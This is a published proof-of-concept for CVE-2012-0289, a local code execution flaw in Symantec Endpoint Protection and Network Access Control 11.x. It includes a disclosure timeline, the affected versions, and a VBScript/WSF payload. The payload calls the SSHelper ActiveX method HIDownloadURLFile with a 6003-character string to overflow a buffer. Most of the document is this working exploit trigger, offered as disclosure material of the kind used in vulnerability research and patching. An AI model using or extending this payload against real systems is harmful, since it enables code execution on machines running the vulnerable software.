# Symantec End Point Protection 11.x & Symantec Network Access Control 11.x Local Code Execution POC # Date: 22/05/2012 # Author: 41.w4r10r # Software Link: Symantec.com # Version: 11.x # Tested on: # Windows XP SP2 English # Windows XP SP3 English # Windows Vista 32Bit # Windows 7 32Bit # CVE : CVE-2012-0289 Time Line: 30/08/2011 - Sent Details of the vulnerability 31/08/2011 - Symantec Requested Affected Version Details 31/08/2011 - Provided Requested Information with POC 27/09/2011 - Vulnerability Confirmed by Symantec 22/05/2012 - Advisory Released Symantec Advisory: http://www.symantec.com/security_response/securityupdates/detail.jsp?fid=security_advisory&pvid=security_advisory&year=2012&suid=20120522_01 Affected Products: Symantec Endpoint Protection 11.0 RU6(11.0.600x) 11.0 RU6-MP1(11.0.6100) 11.0 RU6-MP2(11.0.6200) 11.0 RU6-MP3(11.0.6300) 11.0 RU7(11.0.700x) 11.0 RU7-MP1(11.0.710x) Symantec Network Access Control 11.0 RU6(11.0.600x) 11.0 RU6-MP1(11.0.6100) 11.0 RU6-MP2(11.0.6200) 11.0 RU6-MP3(11.0.6300) 11.0 RU7(11.0.700x) 11.0 RU7-MP1(11.0.710x) Affected Resource: %%System%%\Symantec\Symantec Endpoint Protection\SSHelper.dll === POC === <?XML version='1.0' standalone='yes' ?> <package><job id='DoneInVBS' debug='false' error='true'> <object classid='clsid:D59EBAD7-AF87-4A5C-8459-D3F6B918E7C9' id='target' /> <script language='vbscript'> prototype = "Function HIDownloadURLFile ( ByVal cookie As Long , ByVal url As String , ByVal file_path As String , ByVal rule_name As String , ByVal cancel_message As String , ByVal downloading_time As Long , ByVal bResume As Boolean , ByVal bShowProgressDlg As Boolean , ByVal bAllowCancel As Boolean , ByVal username As String , ByVal password As String , ByVal show_error_delay As Long ) As Long" memberName = "HIDownloadURLFile" progid = "SSHELPERLib.SSHelper" argCount = 12 arg1=1 arg2="defaultV" arg3="defaultV" arg4="defaultV" arg5="defaultV" arg6=1 arg7=True arg8=True arg9=True arg10="defaultV" arg11= String(6003, "A") arg12=1 target.HIDownloadURLFile arg1 ,arg2 ,arg3 ,arg4 ,arg5 ,arg6 ,arg7 ,arg8 ,arg9 ,arg10 ,arg11 ,arg12 </script></job></package>